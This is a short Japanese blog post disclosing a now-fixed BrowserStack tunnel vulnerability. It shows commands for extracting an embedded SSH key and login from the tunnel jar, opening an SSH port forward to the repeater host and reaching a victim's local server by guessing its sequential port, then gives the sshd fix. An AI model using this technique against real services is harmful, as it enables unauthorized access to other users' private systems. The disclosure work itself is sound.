BrowserStack の脆弱性を報告して修正された

再現手順

被害者
  • 適当なサービスをローカルで起動する
$ python -m SimpleHTTPServer 8000 &
  • BrowserStackTunnel.jar を起動する
$ java -jar BrowserStackTunnel.jar -v nMx5jv4YhEe4bQTgFA3p localhost,8000,0
...
You can now access your local server(s) in our remote browser:
You have used your Command Line Key (nMx5jv4YhEe4bQTgFA3p) to connect
via Local Tunnel http://localhost:8000
INFO: ec2-ap-southeast-1v2-repeater.browserstack.com:16125 -> localhost:8000
...

攻撃者
  • BrowserStackTunnel.jar から SSH のホスト名とログイン名と秘密鍵を取り出す
    • ホスト名は "ec2-us-east-1-repeater.browserstack.com"
    • ログイン名は "ruser"
    • 秘密鍵を key というファイルに保存
  • BrowserStack に SSH で接続し、逆方向のトンネルを作成する
$ ssh -v -T -N -i key ruser@ec2-ap-southeast-1v2-repeater.browserstack.com -L 8888:localhost:16125 &
...
debug1: Local connections to LOCALHOST:8888 forwarded to remote
address localhost:16125
...
    • 被害者のポート番号 (16125) が必要だが、順番に割り当てられるので推測は可能
  • 被害者のローカルで動作するサービスにアクセスできる
$ curl http://localhost:8888/
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="BrowserStackTunnel.jar">BrowserStackTunnel.jar</a>
</ul>
<hr>
</body>
</html>

対策方法

  • BrowserStack の sshd で設定を変更
    • local -> BrowserStack の転送を禁止し BrowserStack -> local の転送のみ許可する
PermitOpen none
AllowTcpForwarding remote

修正後

  • 転送時に拒否されるようになった
$ curl http://localhost:8888/
debug1: Connection to port 8888 forwarding to localhost port 17033 requested.
debug1: channel 2: new [direct-tcpip]
channel 2: open failed: administratively prohibited: open failed
debug1: channel 2: free: direct-tcpip: listening port 8888 for localhost port 17033, connect from 127.0.0.1 port 56298, nchannels 3
curl: (52) Empty reply from server
  • SSH は機能が多いので気が抜けませんね
  • コマンドラインのみで意思疎通をはかったため、修正してもらうまで、3ヶ月近くかかりました